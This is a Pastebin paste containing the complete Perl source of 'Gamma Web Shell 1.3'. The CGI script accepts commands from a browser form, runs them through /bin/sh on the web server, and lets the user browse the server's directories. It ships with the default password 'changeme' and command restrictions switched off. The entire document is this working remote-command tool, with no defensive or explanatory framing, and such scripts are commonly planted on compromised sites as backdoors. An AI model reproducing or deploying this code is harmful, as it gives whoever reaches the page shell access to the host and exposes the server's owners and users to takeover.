Advertisement
vasyabond883

Untitled

Oct 10th, 2018
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.81 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ###############################################################################
  3. ### Gamma Web Shell
  4. ### Copyright 2003 Gamma Group
  5. ### All rights reserved
  6. ###
  7. ### Gamma Web Shell is free for both commercial and non commercial
  8. ### use. You may modify this script as you find necessary as long
  9. ### as you do not sell it. Redistribution is not allowed without
  10. ### prior consent from Gamma Group (support@gammacenter.com).
  11. ###
  12. ### Gamma Group <http://www.gammacenter.com>
  13. ###
  14.  
  15. use strict;
  16.  
  17. ###############################################################################
  18.  
  19. package WebShell::Configuration;
  20.  
  21. use vars qw($password $restricted_mode $ok_commands);
  22.  
  23. ##
  24. ## Password.
  25. ## Set to blank if you don't need password protection.
  26. ##
  27. $password = "changeme";
  28.  
  29. ##
  30. ## Restricted mode.
  31. ## Set to "1" to allow only a limited set of commands.
  32. ##
  33. $restricted_mode = 0;
  34.  
  35. ##
  36. ## Available commands.
  37. ## The list of available commands for the restricted mode.
  38. ##
  39. $ok_commands = ['ls', 'ls -l', 'pwd', 'uptime'];
  40.  
  41. ###############################################################################
  42.  
  43. package WebShell::Templates;
  44.  
  45. use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE);
  46.  
  47. my $VERSION = 'Gamma Web Shell 1.3';
  48.  
  49. my $STYLESHEET = <<EOT;
  50. body {
  51. font-family: Verdana, Helvetica, sans-serif;
  52. font-size: 90%;
  53. color: #000;
  54. background: #FFF;
  55. margin: 0px;
  56. padding: 0px;
  57. }
  58.  
  59. h1, h2, h3, h4, h5, h6 {
  60. margin: 0.3em;
  61. padding: 0px;
  62. }
  63.  
  64. input, select, textarea, select {
  65. font-family: Verdana, Helvetica, sans-serif;
  66. font-size: 100%;
  67. margin: 1px;
  68. padding: 0px 1px;
  69. }
  70.  
  71. pre, code, tt {
  72. font-family: 'Courier New', Courier, monospace;
  73. font-size: 100%;
  74. }
  75.  
  76. form {
  77. margin: 0px;
  78. padding: 0px;
  79. }
  80.  
  81. table {
  82. font-size: 100%;
  83. }
  84.  
  85. a {
  86. text-decoration: none;
  87. color: #000;
  88. background: transparent;
  89. }
  90.  
  91. a:hover {
  92. text-decoration: underline;
  93. }
  94.  
  95. .header, .footer {
  96. color: #000;
  97. background: #CCF;
  98. margin: 0px;
  99. padding: 0px;
  100. text-align: center;
  101. border: solid #000;
  102. border-width: 1px 0px;
  103. }
  104.  
  105. .box {
  106. border: 1px solid #000;
  107. border-collapse: collapse;
  108. color: #000;
  109. background: #CCF;
  110. }
  111.  
  112. .box-header, .box-content, .box-text, .box-error, .box-menu {
  113. border: 1px solid #000;
  114. }
  115.  
  116. .box-header, .box-header a {
  117. color: #FFF;
  118. background: #000;
  119. }
  120.  
  121. .box-content {
  122. text-align: center;
  123. }
  124.  
  125. .box-text {
  126. padding: 3px 10px;
  127. font-size: 90%;
  128. }
  129.  
  130. .box-menu {
  131. padding: 3px 10px;
  132. }
  133.  
  134. .box-error {
  135. color: #FFF;
  136. background: #F00;
  137. font-weight: bold;
  138. padding: 3px 25px;
  139. text-align: center;
  140. }
  141.  
  142. .dialog {
  143. text-align: left;
  144. border-collapse: collapse;
  145. }
  146.  
  147. .dialog-even {
  148. color: #000;
  149. background: #CCF;
  150. }
  151.  
  152. .dialog-odd {
  153. color: #000;
  154. background: #AAE;
  155. }
  156.  
  157. .menu {
  158. font-weight: normal;
  159. }
  160.  
  161. .menu-selected {
  162. font-weight: bold;
  163. }
  164.  
  165. .tool {
  166. background: transparent;
  167. color: #000;
  168. border-style: hidden;
  169. border-width: 1px;
  170. text-decoration: none;
  171. }
  172.  
  173. .tool:hover {
  174. border-style: outset;
  175. text-decoration: none;
  176. }
  177.  
  178. .output {
  179. color: #FFF;
  180. background: #000;
  181. padding: 1em;
  182. font-weight: bold;
  183. }
  184.  
  185. .output-text {
  186. }
  187.  
  188. .output-command {
  189. color: #FF7;
  190. background: #000;
  191. }
  192.  
  193. .output-error {
  194. color: #FFF;
  195. background: #F00;
  196. }
  197.  
  198. .entries {
  199. border: 1px solid #777;
  200. border-collapse: collapse;
  201. }
  202.  
  203. .entries td, .entries th {
  204. padding: 2px 10px;
  205. }
  206.  
  207. .entries th, .entries td {
  208. border: 1px solid #777;
  209. }
  210.  
  211. .entries-even {
  212. color: #FFF;
  213. background: #444;
  214. }
  215.  
  216. .entry-dir a {
  217. color: #BBF;
  218. background: transparent;
  219. }
  220.  
  221. .entry-exec {
  222. color: #BFB;
  223. background: transparent;
  224. }
  225.  
  226. .entry-file {
  227. }
  228.  
  229. .entry-mine {
  230. }
  231.  
  232. .entry-alien {
  233. color: #FBB;
  234. background: transparent;
  235. }
  236.  
  237. EOT
  238.  
  239. $LOGIN_TEMPLATE = <<EOT;
  240. <html>
  241. <head>
  242. <title>Gamma Web Shell</title>
  243. <style type="text/css">$STYLESHEET</style>
  244. </head>
  245. <body>
  246. <table width="100%" height="100%">
  247. <tr><td class="header"><h2>$VERSION</h2></td></tr>
  248. <tr>
  249. <td width="100%" height="100%" align="center" valign="center">
  250. <form action="WebShell.cgi" method="POST">
  251. <table class="box">
  252. <tr><th class="box-header">Login</th></tr>
  253. [% if error %]
  254. <tr><td class="box-error">Invalid password!</td></tr>
  255. [% end %]
  256. <tr>
  257. <td class="box-content">
  258. <table class="dialog" width="100%">
  259. <tr>
  260. <td>Password:</td>
  261. <td><input name="password" type="password"></td>
  262. </tr>
  263. </table>
  264. </td>
  265. </tr>
  266. <tr>
  267. <td class="box-content">
  268. <input class="tool" type="submit" value="OK">
  269. </td>
  270. </tr>
  271. </table>
  272. </form>
  273. </td>
  274. </tr>
  275. <tr><td class="footer"><h5>Copyright &copy; 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
  276. </table>
  277. </body>
  278. </html>
  279. EOT
  280.  
  281. $INPUT_TEMPLATE = <<EOT;
  282. <html>
  283. <head>
  284. <title>Gamma Web Shell</title>
  285. <style type="text/css">$STYLESHEET</style>
  286. </head>
  287. <body>
  288. <table width="100%" height="100%">
  289. <tr><td class="header"><h2>$VERSION</h2></td></tr>
  290. <tr>
  291. <td width="100%" height="100%" align="center" valign="center">
  292. <iframe name="output" src="WebShell.cgi?action=execute" width="80%" height="80%"></iframe>
  293. <br><br>
  294. <script type="text/javascript">
  295. function submit_execute() {
  296. var entry = document.forms.execute.elements['command'];
  297. if (entry.value.length > 0) {
  298. entry.select();
  299. entry.focus();
  300. document.forms.execute.elements['action'].value = 'execute';
  301. return true;
  302. }
  303. else {
  304. return false;
  305. }
  306. }
  307. function submit_browse() {
  308. document.forms.execute.elements['action'].value = 'browse';
  309. }
  310. </script>
  311. <form name="execute" action="WebShell.cgi" method="POST" target="output">
  312. <input name="action" type="hidden" value="execute">
  313. <table class="box">
  314. <tr>
  315. <td class="box-content">
  316. <table class="dialog" width="100%">
  317. <tr>
  318. <th>Command:</th>
  319. <td><input name="command" type="text" size="50"></td>
  320. <td><input class="tool" type="submit" value="Execute" onClick="return submit_execute()"></td>
  321. <td><input class="tool" type="submit" value="Browse" onClick="return submit_browse()"></td>
  322. </tr>
  323. </table>
  324. </td>
  325. </tr>
  326. </table>
  327. </form>
  328. </td>
  329. </tr>
  330. <tr><td class="footer"><h5>Copyright &copy; 2003 <a href="http://www.gammacenter.com/">Gamma Group</a></h5></td></tr>
  331. </table>
  332. </body>
  333. </html>
  334. EOT
  335.  
  336. $EXECUTE_TEMPLATE = <<EOT;
  337. <html>
  338. <head>
  339. <title>Gamma Web Shell</title>
  340. <style type="text/css">$STYLESHEET</style>
  341. </head>
  342. <body class="output">
  343. [% if old_line %]
  344. <pre class="output-command">[% old_line as html %]</pre>
  345. [% end %]
  346. [% if output %]
  347. <pre class="output-text">[% output as html %]</pre>
  348. [% end %]
  349. [% if error %]
  350. <pre class="output-error">[% error as html %]</pre>
  351. [% end %]
  352. [% if new_line %]
  353. <pre class="output-command">[% new_line as html %]</pre>
  354. [% end %]
  355. </body>
  356. </html>
  357. EOT
  358.  
  359. $BROWSE_TEMPLATE = <<EOT;
  360. <html>
  361. <head>
  362. <title>Gamma Web Shell</title>
  363. <style type="text/css">$STYLESHEET</style>
  364. </head>
  365. <body class="output">
  366. [% if error %]
  367. <p class="output-error">[% error as html %]</p>
  368. [% end %]
  369. <table class="entries" width="100%">
  370. <tr class="entries-even" align="left">
  371. <th colspan="6">
  372. [% for entry in directory %]<code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.path as url %]">[% entry.name as html %]/</a></code>[% end %]
  373. </th>
  374. </tr>
  375. <tr class="entries-odd" align="left">
  376. <th width="100%"><small>Name</small></th>
  377. <th><small>Size</small></th>
  378. <th><small>Time</small></th>
  379. <th><small>Owner</small></th>
  380. <th><small>Group</small></th>
  381. <th><small>Mode</small></th>
  382. </tr>
  383. [% for entry in entries %]
  384. <tr class="entries-[% if loop.entry.even %]even[% else %]odd[% end %]">
  385. <td width="100%">
  386. [% if entry.type_file %]
  387. [% if entry.type_exec %]
  388. <code class="entry-exec">[% entry.name as html %]</code>
  389. [% else %]
  390. <code class="entry-file">[% entry.name as html %]</code>
  391. [% end %]
  392. [% elif entry.type_dir %]
  393. <code class="entry-dir"><a href="WebShell.cgi?action=browse&path=[% entry.name as url %]">[% entry.name as html %]/</a></code>
  394. [% else %]
  395. <code class="entry-other">[% entry.name as html %]</code>
  396. [% end %]
  397. </td>
  398. <td align="right">
  399. [% if entry.type_file %]
  400. <code class="entry-text">[% entry.size as html %]</code></td>
  401. [% else %]
  402. &nbsp;
  403. [% end %]
  404. </td>
  405. <td><code class="entry-text">[% entry.time as nbsp %]</code></td>
  406. <td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.user as html %]</code></td>
  407. <td><code class="entry-[% if entry.all_rights %]mine[% else %]alien[% end %]">[% entry.group as html %]</code></td>
  408. <td><code class="entry-text">[% entry.mode as html %]</code></td>
  409. </tr>
  410. [% end %]
  411. </table>
  412. </body>
  413. </html>
  414. EOT
  415.  
  416.  
  417. ###############################################################################
  418.  
  419. package WebShell::MiniXIT;
  420.  
  421. sub new {
  422. my ($class) = @_;
  423. return bless {}, $class;
  424. }
  425.  
  426. sub substitute {
  427. my ($self, $input, %keywords) = @_;
  428. my $statements = $self->parse($input);
  429. my $operation = $self->compile($statements);
  430. my $output = $self->evaluate($operation, \%keywords);
  431. return $output;
  432. }
  433.  
  434. sub parse {
  435. my ($self, $input) = @_;
  436. my $statements = [];
  437. my $start = 0;
  438. while ($input =~ /(\[%\s*(.*?)\s*%\])/g) {
  439. my $match_end = pos($input);
  440. my $match_start = $match_end - length($1);
  441. if ($start < $match_start) {
  442. my $text = substr($input, $start, $match_start-$start);
  443. push @$statements, { id => 'text', text => $text };
  444. }
  445. push @$statements, $self->parse_command($2);
  446. $start = $match_end;
  447. }
  448. if ($start < length($input)) {
  449. my $text = substr($input, $start);
  450. push @$statements, { id => 'text', text => $text };
  451. }
  452. return $statements;
  453. }
  454.  
  455. sub parse_command {
  456. my ($self, $command) = @_;
  457. if ($command =~ /^if\s+(\w+(\.\w+)*)$/) {
  458. return { id => 'if', test => $1, };
  459. }
  460. elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) {
  461. return { id => 'elif', test => $1 };
  462. }
  463. elsif ($command =~ /^else$/) {
  464. return { id => 'else' };
  465. }
  466. elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) {
  467. return { id => 'for', name => $1, list => $2 };
  468. }
  469. elsif ($command =~ /^end$/) {
  470. return { id => 'end' };
  471. }
  472. elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) {
  473. return { id => 'print', variable => $1, format => $4 };
  474. }
  475. else {
  476. die "invalid command: '$command'";
  477. }
  478. }
  479.  
  480. sub compile {
  481. my ($self, $statements) = @_;
  482. my $operation = $self->compile_sequence($statements);
  483. if (scalar(@$statements)) {
  484. my $statement = shift(@$statements);
  485. my $id = $statements->{id};
  486. die "unexpected statement: '$id'";
  487. }
  488. return $operation;
  489. }
  490.  
  491. sub compile_sequence {
  492. my ($self, $statements) = @_;
  493. my $operations = [];
  494. while (scalar(@$statements) > 0) {
  495. my $id = $statements->[0]->{id};
  496. if ($id eq 'if') {
  497. push @$operations, $self->compile_condition($statements);
  498. }
  499. elsif ($id eq 'for') {
  500. push @$operations, $self->compile_loop($statements);
  501. }
  502. elsif ($id eq 'print' or $id eq 'text') {
  503. my $statement = shift @$statements;
  504. push @$operations, $statement;
  505. }
  506. else {
  507. last;
  508. }
  509. }
  510. return { id => 'sequence', operations => $operations };
  511. }
  512.  
  513. sub compile_condition {
  514. my ($self, $statements) = @_;
  515. my $conditions = [];
  516. my $statement = shift @$statements;
  517. my $id = defined $statement ? $statement->{id} : 'none';
  518. while ($id eq 'if' or $id eq 'elif' or $id eq 'else') {
  519. my $test = $id ne 'else' ? $statement->{test} : undef;
  520. my $operation = $self->compile_sequence($statements);
  521. push @$conditions, { test => $test, operation => $operation };
  522. $statement = shift @$statements;
  523. $id = defined $statement ? $statement->{id} : 'none';
  524. }
  525. die "'end' expected, but '$id' found" unless $id eq 'end';
  526. return { id => 'condition', conditions => $conditions };
  527. }
  528.  
  529. sub compile_loop {
  530. my ($self, $statements) = @_;
  531. my $statement = shift @$statements;
  532. my $name = $statement->{name};
  533. my $list = $statement->{list};
  534. my $operation = $self->compile_sequence($statements);
  535. $statement = shift @$statements;
  536. my $id = defined $statement ? $statement->{id} : 'none';
  537. die "'end' expected, but '$id' found" unless $id eq 'end';
  538. return { id => 'loop',
  539. name => $name, list => $list, operation => $operation };
  540. }
  541.  
  542. sub evaluate {
  543. my ($self, $operation, $keywords) = @_;
  544. $keywords->{loop} = {};
  545. my $chunks = $self->evaluate_operation($operation, $keywords);
  546. return join('', @$chunks);
  547. }
  548.  
  549. sub evaluate_operation {
  550. my ($self, $operation, $keywords) = @_;
  551. if ($operation->{id} eq 'condition') {
  552. return $self->evaluate_condition($operation->{conditions}, $keywords);
  553. }
  554. elsif ($operation->{id} eq 'loop') {
  555. return $self->evaluate_loop($operation->{name}, $operation->{list},
  556. $operation->{operation}, $keywords);
  557. }
  558. elsif ($operation->{id} eq 'print') {
  559. return $self->evaluate_print($operation->{variable},
  560. $operation->{format}, $keywords);
  561. }
  562. elsif ($operation->{id} eq 'sequence') {
  563. my $chunks = [];
  564. push @$chunks, @{$self->evaluate_operation($_, $keywords)}
  565. for (@{$operation->{operations}});
  566. return $chunks;
  567. }
  568. elsif ($operation->{id} eq 'text') {
  569. return [$operation->{text}];
  570. }
  571. }
  572.  
  573. sub evaluate_condition {
  574. my ($self, $conditions, $keywords) = @_;
  575. for my $condition (@$conditions) {
  576. my $test = $condition->{test};
  577. my $value = defined $test ?
  578. $self->evaluate_variable($test, $keywords) : 1;
  579. return $self->evaluate_operation($condition->{operation}, $keywords)
  580. if $value;
  581. }
  582. return [];
  583. }
  584.  
  585. sub evaluate_loop {
  586. my ($self, $name, $list, $operation, $keywords) = @_;
  587. my $values = $self->evaluate_variable($list, $keywords);
  588. my $length = scalar(@$values);
  589. my $index = 0;
  590. my $chunks = [];
  591. for my $value (@$values) {
  592. $keywords->{$name} = $value;
  593. $keywords->{loop}->{$name} = {
  594. index => $index, number => $index+1,
  595. first => $index == 0, last => $index == $length-1,
  596. odd => $index % 2 == 1, even => $index % 2 == 0,
  597. };
  598. push @$chunks, @{$self->evaluate_operation($operation, $keywords)};
  599. $index++;
  600. }
  601. delete $keywords->{$name};
  602. delete $keywords->{loop}->{$name};
  603. return $chunks;
  604. }
  605.  
  606. sub evaluate_print {
  607. my ($self, $variable, $format, $keywords) = @_;
  608. my $value = $self->evaluate_variable($variable, $keywords);
  609. if ($format eq 'html') {
  610. for ($value) { s/&/&amp;/g; s/</&lt;/g; s/>/&gt;/g; s/"/&quot;/g; }
  611. }
  612. elsif ($format eq 'nbsp') {
  613. for ($value) {
  614. s/&/&amp;/g; s/</&lt;/g; s/>/&gt;/g; s/"/&quot;/g; s/ /&nbsp;/g;
  615. }
  616. }
  617. elsif ($format eq 'url') {
  618. $value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg;
  619. }
  620. elsif ($format ne '') {
  621.  
  622. die "unknown format: '$format'";
  623. }
  624. return [$value];
  625. }
  626.  
  627. sub evaluate_variable {
  628. my ($self, $variable, $keywords) = @_;
  629. my $value = $keywords;
  630. for my $name (split(/\./, $variable)) {
  631. $value = $value->{$name};
  632. }
  633. return $value;
  634. }
  635.  
  636. ###############################################################################
  637.  
  638. package WebShell::Script;
  639.  
  640. use CGI;
  641. use CGI::Carp qw(fatalsToBrowser);
  642. use IPC::Open3;
  643. use Cwd;
  644. use POSIX;
  645.  
  646. sub new {
  647. my ($class) = @_;
  648. my $self = bless { }, $class;
  649. $self->initialize();
  650. return $self;
  651. }
  652.  
  653. sub query {
  654. my ($self, @names) = @_;
  655. my @values = ();
  656. for my $name (@names) {
  657. my $value = $self->{cgi}->param($name);
  658. for ($value) { s/^\s+//; s/\s+$//; }
  659. push @values, $value;
  660. }
  661. return wantarray ? @values : "@values";
  662. }
  663.  
  664. sub initialize {
  665. my ($self) = @_;
  666. $self->{cgi} = new CGI;
  667. $self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd');
  668. $self->{cwd} = cwd unless defined $self->{cwd};
  669. $self->{cwd} = cwd if $WebShell::Configuration::restricted_mode;
  670. $self->{login} = 0;
  671. my $login = $self->{cgi}->cookie(-name => 'WebShell-login');
  672. my $password = $self->query('password');
  673. $self->{login} = 1
  674. if crypt($WebShell::Configuration::password, $login."XX") eq $login;
  675. $self->{login} = 1 if $password eq $WebShell::Configuration::password;
  676. }
  677.  
  678. sub run {
  679. my ($self) = @_;
  680. return $self->login_action unless $self->{login};
  681. my $action = $self->query('action');
  682. $action = 'default' unless $action =~ /^\w+$/;
  683. $action = $self->can($action . '_action');
  684. $action = $self->can('default_action') unless defined $action;
  685. $self->$action();
  686. }
  687.  
  688. sub default_action {
  689. my ($self) = @_;
  690. $self->publish('INPUT');
  691. }
  692.  
  693. sub login_action {
  694. my ($self) = @_;
  695. $self->publish('LOGIN', error => ($self->query('password') ne ''));
  696. }
  697.  
  698. sub command {
  699. my ($self, $command) = @_;
  700. chdir($self->{cwd});
  701. my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh");
  702. print WRTH "$command\n";
  703. close(WRTH);
  704. my $output = do { local $/; <RDH> };
  705. my $error = do { local $/; <ERRH> };
  706. waitpid($pid, 0);
  707. return ($output, $error);
  708. }
  709.  
  710. sub forbidden_command {
  711. my ($self, $command) = @_;
  712. my $error = "This command is not available in the restricted mode.\n";
  713. $error .= "You may only use the following commands:\n";
  714. for my $ok_command (@$WebShell::Configuration::ok_commands) {
  715. $error .= " $ok_command\n";
  716. }
  717. return ('', $error);
  718. }
  719.  
  720. sub cd_command {
  721. my ($self, $command) = @_;
  722. my $error;
  723. my $directory = $1 if $command =~ /^cd\s+(\S+)$/;
  724. warn "cwd: '$self->{cwd}'\n";
  725. warn "command: '$command'\n";
  726. warn "directory: '$directory'\n";
  727. if ($directory ne '') {
  728. $error = $! unless chdir($self->{cwd});
  729. $error = $! unless chdir($directory);
  730. }
  731. $self->{cwd} = cwd;
  732. return ('', $error);
  733. }
  734.  
  735. sub execute_action {
  736. my ($self) = @_;
  737. my $command = $self->query('command');
  738. my $user = getpwuid($>);
  739. my $old_line = "[$user: $self->{cwd}]\$ $command";
  740. my ($output, $error);
  741. if ($command ne "") {
  742. my $allow = not $WebShell::Configuration::restricted_mode;
  743. for my $ok_command (@$WebShell::Configuration::ok_commands) {
  744. $allow = 1 if $command eq $ok_command;
  745. }
  746. if ($allow) {
  747. $command =~ /^(\w+)/;
  748. if (my $method = $self->can("${1}_command")) {
  749. ($output, $error) = $self->$method($command);
  750. }
  751. else {
  752. ($output, $error) = $self->command($command);
  753. }
  754.  
  755. }
  756. else {
  757. ($output, $error) = $self->forbidden_command($command);
  758. }
  759. }
  760. my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq "";
  761. $self->publish('EXECUTE',
  762. old_line => $old_line, new_line => $new_line,
  763. output => $output, error => $error);
  764. }
  765.  
  766. sub browse_action {
  767. my ($self) = @_;
  768. my $error = "";
  769. my $path = $self->query('path');
  770. if ($WebShell::Configuration::restricted_mode and $path ne '') {
  771. $error = "You cannot browse directories in the restricted mode.";
  772. $path = "";
  773. }
  774. $error = $! unless chdir($self->{cwd});
  775. if ($path ne '') {
  776. $error = $! unless chdir($path);
  777. }
  778. $self->{cwd} = cwd;
  779. opendir(DIR, '.');
  780. my @dir = readdir(DIR);
  781. closedir(DIR);
  782. my @entries = ();
  783. for my $name (@dir) {
  784. my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size,
  785. $atime, $mtime, $ctime, $blksize, $blocks) = stat($name);
  786. my $modestr = S_ISDIR($mode) ? 'd' : '-';
  787. $modestr .= ($mode & S_IRUSR) ? 'r' : '-';
  788. $modestr .= ($mode & S_IWUSR) ? 'w' : '-';
  789. $modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-';
  790. $modestr .= ($mode & S_IRGRP) ? 'r' : '-';
  791. $modestr .= ($mode & S_IWGRP) ? 'w' : '-';
  792. $modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-';
  793. $modestr .= ($mode & S_IROTH) ? 'r' : '-';
  794. $modestr .= ($mode & S_IWOTH) ? 'w' : '-';
  795. $modestr .= ($mode & S_IXOTH) ? 'x' : '-';
  796. my $userstr = getpwuid($uid);
  797. my $groupstr = getgrgid($gid);
  798. my $sizestr = ($size < 1024) ? $size :
  799. ($size < 1024*1024) ? sprintf("%.1fk", $size/1024) :
  800. sprintf("%.1fM", $size/(1024*1024));
  801. my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime));
  802. push @entries, {
  803. name => $name,
  804. type_file => S_ISREG($mode),
  805. type_dir => S_ISDIR($mode),
  806. type_exec => ($mode & S_IXUSR),
  807. mode => $modestr,
  808. user => $userstr,
  809. group => $groupstr,
  810. order => (S_ISDIR($mode) ? 0 : 1) . $name,
  811. all_rights => (-w $name),
  812. size => $sizestr,
  813. time => $timestr,
  814. };
  815. }
  816. @entries = sort { $a->{order} cmp $b->{order} } @entries;
  817. my @directory = ();
  818. my $path = '';
  819. for my $name (split m|/|, $self->{cwd}) {
  820. $path .= "$name/";
  821. push @directory, {
  822. name => $name,
  823. path => $path,
  824. };
  825. }
  826. @directory = ({ name => '', path => '/'}) unless @directory;
  827. $self->publish('BROWSE', entries => \@entries, directory => \@directory,
  828. error => $error);
  829. }
  830.  
  831. sub publish {
  832. my ($self, $template, %keywords) = @_;
  833. $template = eval '$WebShell::Templates::' . $template . '_TEMPLATE';
  834. my $xit = new WebShell::MiniXIT;
  835. my $text = $xit->substitute($template, %keywords);
  836. $self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$};
  837. my $domain = $1;
  838. my $path = $2;
  839. my $cwd_cookie = $self->{cgi}->cookie(
  840. -name => 'WebShell-cwd',
  841. -value => $self->{cwd},
  842. -domain => $domain,
  843. -path => $path,
  844. );
  845. my $login = "";
  846. if ($self->{login}) {
  847. my $salt = join '',
  848. ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];
  849. $login = crypt($WebShell::Configuration::password, $salt);
  850. }
  851. my $login_cookie = $self->{cgi}->cookie(
  852. -name => 'WebShell-login',
  853. -value => $login,
  854. -domain => $domain,
  855. -path => $path,
  856. );
  857. print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]);
  858. print $text;
  859. }
  860.  
  861. ###############################################################################
  862.  
  863. package WebShell;
  864.  
  865. my $script = new WebShell::Script;
  866. $script->run;
  867.  
  868. ###############################################################################
  869. ###############################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement